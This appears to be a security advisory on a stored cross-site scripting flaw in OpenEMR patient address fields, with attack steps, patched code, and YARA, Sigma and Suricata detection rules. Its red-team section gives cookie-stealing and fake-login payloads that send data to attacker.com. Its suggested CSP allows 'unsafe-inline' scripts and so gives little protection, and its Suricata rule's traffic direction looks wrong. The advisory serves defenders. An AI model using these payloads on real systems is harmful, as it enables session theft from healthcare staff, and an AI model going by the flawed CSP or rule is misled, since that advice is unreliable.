CVE-2025-43860

Executive Summary

CVE-2025-43860 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a widely used open-source electronic health records (EHR) and medical practice management application. The flaw resides in the Additional Addresses section of the Contact tab within Patient Demographics. An authenticated user with patient creation and editing privileges can inject arbitrary JavaScript code into the system via the Text Box fields (Address, Address Line 2, Postal Code, City) and Drop Down menu options (Address Use, State, Country). The injected script executes in two scenarios: dynamically during form input and when the form data is later loaded for editing. This can lead to data theft, session hijacking, or further compromise of the healthcare environment. The vulnerability is patched in version 7.0.3.4.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the OpenEMR application. The risk is primarily to healthcare organizations using self-hosted or managed OpenEMR instances.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L
• Attack Vector (AV): Network (N) – The vulnerability can be exploited over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs an authenticated account with patient creation/editing privileges.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view the patient record).
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – An attacker can steal sensitive patient data.
• Integrity (I): High (H) – An attacker can modify patient records or inject malicious content.
• Availability (A): Low (L) – The attack could potentially disrupt the application.

Threat Level: High. The vulnerability allows for persistent, client-side attacks that can compromise patient data and system integrity.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (also known as persistent XSS). The root cause is insufficient sanitization of user-supplied input in the Additional Addresses section of the Contact tab in Patient Demographics.

Affected Fields:

• Text Box fields: Address, Address Line 2, Postal Code, City
• Drop Down menu options: Address Use, State, Country

Attack Flow:

1. An authenticated user (e.g., a receptionist or doctor) with patient creation/editing privileges navigates to the Contact tab of a patient's demographics.
2. In the Additional Addresses section, the attacker enters a malicious JavaScript payload into one of the vulnerable fields. For example, in the Address field: <script>alert('XSS')</script>.
3. The application stores this payload in the database without proper sanitization.
4. Scenario 1 (Dynamic Execution): When the attacker or another user types in the field, the JavaScript executes immediately due to client-side event handlers (e.g., oninput, onchange).
5. Scenario 2 (Stored Execution): When the patient record is later loaded for editing, the malicious script is rendered in the browser, executing the payload.

Impact:

• Data Theft: The attacker can steal session cookies, patient data, or other sensitive information.
• Session Hijacking: The attacker can impersonate the victim user.
• Phishing: The attacker can inject fake login forms or other deceptive content.
• Further Compromise: The attacker can use the XSS to perform actions on behalf of the victim, such as creating new users or modifying records.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.0.3.4): The vulnerable code likely uses echo or print to output user input directly into HTML without proper escaping. For example, in PHP:

echo "<input type='text' name='address' value='" . $_POST['address'] . "'>";

Patched Code (7.0.3.4): The patched code uses proper output escaping functions, such as htmlspecialchars() or htmlentities(), to sanitize user input before rendering it in the browser. For example:

echo "<input type='text' name='address' value='" . htmlspecialchars($_POST['address'], ENT_QUOTES, 'UTF-8') . "'>";

Additionally, the patch may include server-side validation and sanitization of input before storing it in the database.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• An authenticated OpenEMR account with patient creation/editing privileges.
• Access to the Patient Demographics -> Contact tab -> Additional Addresses section.

Exploit Steps:

1. Log in to OpenEMR.
2. Navigate to a patient's demographics page.
3. Go to the Contact tab and expand the Additional Addresses section.
4. In the Address field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the patient record.
6. The payload will execute when:
   • The attacker or another user types in the field (dynamic execution).
   • The record is loaded for editing (stored execution).

Alternative Payloads:

• Session Hijacking:

  <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
  

• Phishing:

  <script>document.getElementById('login-form').innerHTML='<form action="https://attacker.com/login" method="post"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form>'</script>
  

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor Logs: Review web server logs for unusual patterns in the address, address_line_2, postal_code, city, address_use, state, and country parameters.
2. Input Validation: Implement strict input validation on the server side to reject any input containing HTML or JavaScript.
3. Content Security Policy (CSP): Deploy a CSP header to mitigate the impact of XSS. For example:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';
   

4. Web Application Firewall (WAF): Use a WAF to block common XSS payloads.

Mitigation Steps:

1. Upgrade: Immediately upgrade to OpenEMR version 7.0.3.4 or later.
2. Patch: If upgrading is not possible, apply the vendor-provided patch manually.
3. Code Review: Review and sanitize all user input fields, especially those that are stored and later rendered.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains containing ?cookie= or similar parameters.
  • Unusual patterns in the address, city, state, or country fields in web server logs (e.g., <script> tags).
• Host IOCs:
  • Presence of JavaScript payloads in the OpenEMR database, specifically in the patient_data table.
  • Modified patient records with unexpected content in address fields.
• File IOCs:
  • Suspicious entries in the OpenEMR log files (e.g., error.log, access.log).

Detection Engineering

YARA Rule

rule CVE_2025_43860_OpenEMR_XSS {
    meta:
        description = "Detects stored XSS payloads in OpenEMR patient address fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-43860"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: CVE-2025-43860 - Stored XSS in OpenEMR Patient Address Fields
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS attacks targeting OpenEMR patient demographics
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'address='
            - 'city='
            - 'state='
            - 'country='
            - 'postal_code='
        cs-uri-query|re:
            - '<script'
            - 'on\w+='
    condition: selection
falsepositives:
    - Legitimate use of HTML in address fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-43860 - OpenEMR Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/interface/patient_file/summary/demographics.php"; http_uri; pcre:"/(address|city|state|country|postal_code)=.*<script/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to OpenEMR version 7.0.3.4 or later.
2. Workaround: If upgrading is not possible, apply the vendor-provided patch manually.
3. Input Validation: Implement strict server-side validation to reject any input containing HTML or JavaScript.
4. Output Encoding: Use proper output encoding functions (e.g., htmlspecialchars()) when rendering user input.
5. Content Security Policy (CSP): Deploy a CSP header to mitigate the impact of XSS.
6. Web Application Firewall (WAF): Use a WAF to block common XSS payloads.
7. User Training: Educate users about the risks of XSS and the importance of not clicking on suspicious links.

Valters IT
Securing Healthcare, One Patch at a Time.